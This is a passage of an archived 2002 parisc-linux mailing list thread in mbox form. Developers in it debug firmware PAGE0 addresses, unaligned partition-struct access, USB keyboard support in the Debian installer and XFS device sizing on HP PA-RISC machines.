	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16011

Bruno Vidal wrote:
> This is a multi-part message in MIME format.
> --------------9FA0B36E1D5BF1A98D31930A
> Content-Type: text/plain; charset=us-ascii
> Content-Transfer-Encoding: 7bit
> 
> 	Hi
> I'm really surprised, I take a look at HPMC trace, and I was really
> surprised of the faulty address. So I try to write on console.
> And I m really surprised by the result:
> PAGE0->mem_cons.hpa: 0x2000
> PAGE0->mem_boot.hpa: 0x900
> PAGE0->mem_kbd.hpa: 0xffffffff 

Which model machine is this from?

> It is not good at all !!! It seems to be completly wrong hpa !!!!

Note that "hpa" might just be a "handle" and not a real physical address.
It depends on the firmware. Usually it's the physical address though.
I think something else is wrong with your definition or something.

PAGE0 is used in arch/parisc/kernel/firmware.c, inventory.c, pdc_cons.c
and it works in those locations.

> The good one for mem_boot.hpa must be: 0xfffffffffed30000 (in my case
> according to dmesg and mapio). But the system has boot,

No - it doesn't have to be.

> so it was correct a few time ago. I'll retry by using my own
> hpa and I'll don't trust anymore PAGE0.

Well, modify palo to dump interesting page zero values and then
you'll know what they are supposed to be. I'm pretty sure
firmware sets that up.

hth,
grant


From - Thu Nov 08 21:24:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Unaligne access [was: Back to evms-1.0.1 && unaligne access && gdb ]
Date: Wed, 4 Sep 2002 08:45:39 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <3D3815BD0000B3C0@ocpmta5.be.tiscali.com>
References: <200209032044.g83KiS0d008279@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621681 13312 80.91.229.3 (22 Nov 2014 02:01:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:21 +0000 (UTC)
Cc: grundler@dsl2.external.hp.com, joel.soete@freebel.net,
	parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  4 00:52:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id E1E404829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Sep 2002 00:52:40 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 4 Sep 2002 08:45:39 +0200
In-Reply-To: <200209032044.g83KiS0d008279@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16012

Dave,
>
>
>> >then I'll wager there is padding between the char and int fields
>> >of that struct.
>> 
>> That is also what I believe to understand.
>
>Unlikely.  The unaligned trap handler in the kernel is probably
>fixing the unaligned access.  You need to look in the kernel log
>to see if this is happening.
>
Nothing to notice about unalign access kernel trap in any /var/log files
(with checks.c.new) Is there some "debug" #define to set to increase verbosity
of this trap?

Thanks a lot,
    Joel



From - Thu Nov 08 21:24:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Unaligne access [was: Back to evms-1.0.1 && unaligne access && gdb ]
Date: Wed, 4 Sep 2002 09:14:19 +0200
Lines: 65
Approved: news@gmane.org
Message-ID: <3D3815BD0000B40C@ocpmta5.be.tiscali.com>
References: <20020903203317.C30834829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621682 13315 80.91.229.3 (22 Nov 2014 02:01:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:22 +0000 (UTC)
Cc: "Joel Soete" <joel.soete@freebel.net>,
	"John David Anglin" <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  4 01:21:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 892EE4829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Sep 2002 01:21:23 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 4 Sep 2002 09:14:19 +0200
In-Reply-To: <20020903203317.C30834829@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16013

>jsoe0708@tiscali.be wrote:
>...
>> And here is some data of my analyse:
>> 
>> First surprise in the two case (original checks.c and my checks.c with
>only
>> "if (p->boot_ind != 0x00 && ") p addresses are exactly the same here is
>an
>> example:
>
>...
>> with the checks.c.new:
>> p            add: 0x272ee
>> p.boot_ind   add: 0x272ee
>> p.head       add: 0x272ef
>> p.sector     add: 0x272f0
>> p.cyl        add: 0x272f1
>> p.sys_ind    add: 0x272f2
>> p.end_head   add: 0x272f3
>> p.end_sector add: 0x272f4
>> p.end_cyl    add: 0x272f5
>> p.start_sect add: 0x272f6
>> p.nr_sects   add: 0x272fa
>> 
>> What do you think?
>
>checks.c.new will generate a "misaligned access" when "p.start_sect"
>is accessed. 0x272f6 is aligned on 2byte address, not 4 byte.
>Ditto for "p.nr_sects".
>
(now I have understand, well I think :) )

>You sure checks.c.new is referencing 0x272f6 and not something else?

For this I will have to find all call to this function and write p.start_sect
address and content before.

(very tricky problem to surround isn'it ;<) )

>You reviewed dmesg output?

Yes (I have a mincom 'screen' on this system console and I also examine kern.log
as recall Dave)


Many thanks,
    Joel

PS: In the mean time I learn that this bug was already fix by:
BOOLEAN isa_null_partition_record(struct partition *p)
{
    int          i;
    u_int8_t    *uip = (u_int8_t *) p;
    int          psize = sizeof(struct partition);

    for (i=0; i<psize; i++) {
        if (*(uip+i) != 0x00) return FALSE;
    }

    return TRUE;
}

but not yet comited :?



From - Thu Nov 08 21:24:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: PALO-text
Date: Wed, 4 Sep 2002 07:21:10 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <20020904062110.GJ21440@sleepie.demon.co.uk>
References: <000601c25325$f3bcb080$ad3c179f@tol.ses.alcatel.es> <20020903125143.5dd1e297.varenet@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621682 13317 80.91.229.3 (22 Nov 2014 02:01:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:22 +0000 (UTC)
Cc: Jorge GOMEZ CABELLO <jorge.gomez@sanmina-sci.com>,
	parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  4 01:28:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc2-hem11-4-cust120.bre.cable.ntl.com [213.107.176.120])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7FC754829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Sep 2002 01:28:46 -0600 (MDT)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id E84649EE56; Wed,  4 Sep 2002 07:21:10 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <20020903125143.5dd1e297.varenet@esiee.fr>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16014

On Tue, Sep 03, 2002 at 12:51:43PM +0200, Thibaut VARENE wrote:
> On Tue, 3 Sep 2002 10:43:18 +0200
> "Jorge GOMEZ CABELLO" <jorge.gomez@sanmina-sci.com> wrote:
> 
> > Dear Puffin,
> > 
> >     We are trying to install Debian 3.0 on our HP B2000/785 and it is impossible to recognize the usb keyboard. is there a special commando to introduced in the command line of the palo 1.0 ?
> 
> - This reply has been CC'd to the parisc-linux mailing list -
> 
> Hi Jorge,
> 
> If I remember correctly, the USB support is not enabled by default in the install kernel for Debian 3.0, and B2000 does use a USB keyboard.
> We had such a problem here, and there is a solution: boot and install the box using the following lifimage:
> http://pateam.esiee.fr/cd-images/lifimages/lifimage-2.4.18-pa46-USBSTI64-20020704.gz
> This one has support for USB in both 32/64bit kernels, and what's more, STI console is supported in 64bit kernel. This will allow you to install the box directly with a 64bit kernel.
> 
> We may build a more recent lifimage with such USB/STI support soon.
> 
> Maybe we can also consider adding at least USB support to the default kernel configuration ? Richard, any comment ? :)

I think we should add usb and 64 bit sti to default and debian configs.
I guess we'll find out soon enough if it casues problems on other
systems.

Maybe it's time we considered an initrd boot process and kernel modules
for some of this stuff.  May not be worth the effort in 2.4 though.

Richard



From - Thu Nov 08 21:24:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jorge GOMEZ CABELLO" <jorge.gomez@sanmina-sci.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Re: PALO-text
Date: Wed, 4 Sep 2002 10:13:56 +0200
Lines: 55
Approved: news@gmane.org
Message-ID: <CFEDIBFJEHPLIGPIJNKAEENFCAAA.jorge.gomez@sanmina-sci.com>
References: <20020904062110.GJ21440@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621682 13321 80.91.229.3 (22 Nov 2014 02:01:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:22 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Richard Hirst" <rhirst@linuxcare.com>,
	"Thibaut VARENE" <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  4 02:14:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sjcexsbb1.sanmina.com (dummy.sanmina-sci.com [12.30.36.125])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6B5794829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Sep 2002 02:14:14 -0600 (MDT)
Original-Received: from toledoms.tol.ses.alcatel.es (TOLEDOMS [172.21.187.1]) by sjcexsbb1.sanmina.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id RP647QTQ; Wed, 4 Sep 2002 01:17:05 -0700
Original-Received: from PBEC02 (pbec02.tol.ses.alcatel.es [159.23.61.39]) by toledoms.tol.ses.alcatel.es with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id R19GFSW5; Wed, 4 Sep 2002 10:14:39 +0200
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300
In-Reply-To: <20020904062110.GJ21440@sleepie.demon.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16015

	The keyboard works with this lifimage.

	Thanks a lot for your colaboration.

	Jorge.


-----Mensaje original-----
De: Richard Hirst [mailto:rhirst@linuxcare.com]
Enviado el: miercoles, 04 de septiembre de 2002 8:21
Para: Thibaut VARENE
CC: Jorge GOMEZ CABELLO; parisc-linux@lists.parisc-linux.org
Asunto: Re: [parisc-linux] Re: PALO-text


On Tue, Sep 03, 2002 at 12:51:43PM +0200, Thibaut VARENE wrote:
> On Tue, 3 Sep 2002 10:43:18 +0200
> "Jorge GOMEZ CABELLO" <jorge.gomez@sanmina-sci.com> wrote:
>
> > Dear Puffin,
> >
> >     We are trying to install Debian 3.0 on our HP B2000/785 and it is
impossible to recognize the usb keyboard. is there a special commando to
introduced in the command line of the palo 1.0 ?
>
> - This reply has been CC'd to the parisc-linux mailing list -
>
> Hi Jorge,
>
> If I remember correctly, the USB support is not enabled by default in the
install kernel for Debian 3.0, and B2000 does use a USB keyboard.
> We had such a problem here, and there is a solution: boot and install the
box using the following lifimage:
>
http://pateam.esiee.fr/cd-images/lifimages/lifimage-2.4.18-pa46-USBSTI64-200
20704.gz
> This one has support for USB in both 32/64bit kernels, and what's more,
STI console is supported in 64bit kernel. This will allow you to install the
box directly with a 64bit kernel.
>
> We may build a more recent lifimage with such USB/STI support soon.
>
> Maybe we can also consider adding at least USB support to the default
kernel configuration ? Richard, any comment ? :)

I think we should add usb and 64 bit sti to default and debian configs.
I guess we'll find out soon enough if it casues problems on other
systems.

Maybe it's time we considered an initrd boot process and kernel modules
for some of this stuff.  May not be worth the effort in 2.4 though.

Richard



From - Thu Nov 08 21:24:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Gcc-3.2 beside gcc-3.0: HOWTO?
Date: Wed, 4 Sep 2002 11:00:27 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <3D3815BD0000B51A@ocpmta5.be.tiscali.com>
References: <20020903161326.GI14634@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621683 13324 80.91.229.3 (22 Nov 2014 02:01:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  4 03:07:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 81D0D4829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Sep 2002 03:07:21 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 4 Sep 2002 11:00:27 +0200
In-Reply-To: <20020903161326.GI14634@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16016


>> But where is iaoq (I do not found in linux/Documentation/parisc)?
>> 
>> here is what I got: grep 101080 /boot/System.map-2.4.19-pa9
>> 10108000 T syscall_exit_rfi
>> 10108064 t intr_return
>> 10108078 t intr_check_resched
>> 10108084 t intr_check_sig
>> 10108090 t intr_restore
>
>is this the system.map from the kernel you are building?
>if it is, then intr_return is the calling function (one up in the
>stack). the function that includes 1010863c is the one that one that's
>causing the fault. that would be one place to look.
>

Hmm the only entry I found concerning intr_return are content into entry.S.

Sorry for the moment I have not enough time to learn parisc asm, how is it
implemented with gcc and how to interface with C, ...

Thanks anyway for all help,
    Joel


Big Brother Anders  - With Tiscali you will see it all !  Check it up on
 www.tiscali.be/bigbrother




From - Thu Nov 08 21:24:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Unaligne access [was: Back to evms-1.0.1 && unaligne access && gdb ]
Date: Wed, 4 Sep 2002 13:48:47 +0200
Lines: 96
Approved: news@gmane.org
Message-ID: <3D53B3B70000AEB5@ocpmta1.be.tiscali.com>
References: <3D3815BD0000B40C@ocpmta5.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621683 13328 80.91.229.3 (22 Nov 2014 02:01:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:23 +0000 (UTC)
Cc: "Joel Soete" <joel.soete@freebel.net>,
	"John David Anglin" <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  4 05:49:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id B29644829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Sep 2002 05:49:01 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 4 Sep 2002 13:48:47 +0200
In-Reply-To: <3D3815BD0000B40C@ocpmta5.be.tiscali.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16017

>>jsoe0708@tiscali.be wrote:
>>...
>>> And here is some data of my analyse:
>>> 
>>> First surprise in the two case (original checks.c and my checks.c with
>>only
>>> "if (p->boot_ind != 0x00 && ") p addresses are exactly the same here
is
>>an
>>> example:
>>
>>...
>>> with the checks.c.new:
...
>>
>>checks.c.new will generate a "misaligned access" when "p.start_sect"
>>is accessed. 0x272f6 is aligned on 2byte address, not 4 byte.
>>Ditto for "p.nr_sects".
>>
>(now I have understand, well I think :) )
>
>>You sure checks.c.new is referencing 0x272f6 and not something else?
>
>For this I will have to find all call to this function and write p.start_sect
>address and content before.
>
>(very tricky problem to surround isn'it ;<) )
>
And so here is a test (where an unaligne access did not occurs where it would??):
(isa_valid_partition_record) file checks.c
### before the call ###
part.start_sect add: 0x242a6
part.start_sect    : 9439488   [1]
part.nr_sects   add: 0x242aa
part.nr_sects      : 15791872  [2]
### Into the function isa_null_partition_record() ###
p            add: 0x2429e
p.boot_ind   add: 0x2429e
p.head       add: 0x2429f
p.sector     add: 0x242a0
p.cyl        add: 0x242a1
p.sys_ind    add: 0x242a2
p.end_head   add: 0x242a3
p.end_sector add: 0x242a4
p.end_cyl    add: 0x242a5
p.start_sect add: 0x242a6
p.start_sect    : 9439488      [3]
p.nr_sects   add: 0x242aa
p.nr_sects      : 15791872     [4]

As far as I can see [1] and [3] (as well as [2] and [4]) seems to show that
it point actualy to the same thing.

And here is an other sample:

(isa_valid_partition_record) file checks.c
part.start_sect add: 0x24556
part.start_sect    : 536870912
part.nr_sects   add: 0x2455a
part.nr_sects      : 3768004864
p            add: 0x2454e
p.boot_ind   add: 0x2454e
p.head       add: 0x2454f
p.sector     add: 0x24550
p.cyl        add: 0x24551
p.sys_ind    add: 0x24552
p.end_head   add: 0x24553
p.end_sector add: 0x24554
p.end_cyl    add: 0x24555
p.start_sect add: 0x24556
p.start_sect    : 536870912
p.nr_sects   add: 0x2455a
p.nr_sects      : 3768004864
p            add: 0x2454e
p.boot_ind   add: 0x2454e
p.head       add: 0x2454f
p.sector     add: 0x24550
p.cyl        add: 0x24551
p.sys_ind    add: 0x24552
p.end_head   add: 0x24553
p.end_sector add: 0x24554
p.end_cyl    add: 0x24555
p.start_sect add: 0x24556
p.start_sect    : 536870912
p.nr_sects   add: 0x2455a
p.nr_sects      : 3768004864

Joel



Big Brother Anders  - With Tiscali you will see it all !  Check it up on
 www.tiscali.be/bigbrother




From - Thu Nov 08 21:24:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stefan Pfetzing <dreamind@dreamind.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] XFS - blkgetsize64
Date: Wed, 4 Sep 2002 16:30:13 +0200
Organization: private
Lines: 22
Approved: news@gmane.org
Message-ID: <20020904143013.GC4386@dreamind.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621683 13329 80.91.229.3 (22 Nov 2014 02:01:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:23 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  4 08:30:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hp (IP-213157009128.dialin.heagmedianet.de [213.157.9.128])
	by dsl2.external.hp.com (Postfix) with ESMTP id 07E6F4829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Sep 2002 08:30:16 -0600 (MDT)
Original-Received: from dreamind by hp with local (Exim 3.36 #1 (Debian))
	id 17mbAb-0001Dn-00
	for <parisc-linux@lists.parisc-linux.org>; Wed, 04 Sep 2002 16:30:13 +0200
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-PGP-Algorithms: RSA and DSA/EG keys are available
X-Operating-System: Debian GNU/Linux testing/unstable (Kernel 2.4.19-pa9-xfs)
X-Cool: http://dreamind.de
X-Fnord: +++ath
X-WebTV-Stationery: Standard; BGColor=black; TextColor=black
X-Message-Flag: Message text blocked: ADULT LANGUAGE/SITUATIONS
X-BeenThere: hellfire@templeofhate.com
X-MSMail-Priority: High
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16018

Hi,

I just tried to get XFS working on my C200 (I've got a new IBM SCSI disk.) and
mkfs.xfs always got the size of the Device (/dev/sda5) wrong. (it complained
about not getting with lseek64 to that position...)
(I don't have the correct error message ready, but I can check, if its needed)

After I changed the libxfs to only use the BLKGETSIZE64 ioctl, it works fine
now. (Eric Sandeen pointed me to this)

So he said, perhaps there is a bug in the SCSI (lasi?) driver.

bye

Stefan

P.S.: I'm using 2.4.19-pa9 with a self made diff from vanilla 2.4.19 against
XFS CVS. (the patch did in nearly cleanly)
-- 
        http://www.dreamind.de/
Oroborus and Debian GNU/Linux Developer.


From - Thu Nov 08 21:24:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Unaligne access [was: Back to evms-1.0.1 && unaligne access && gdb ]
Date: Wed, 4 Sep 2002 07:55:36 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20020904145536.GA8310@tausq.org>
References: <200209032044.g83KiS0d008279@hiauly1.hia.nrc.ca> <3D3815BD0000B3C0@ocpmta5.be.tiscali.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
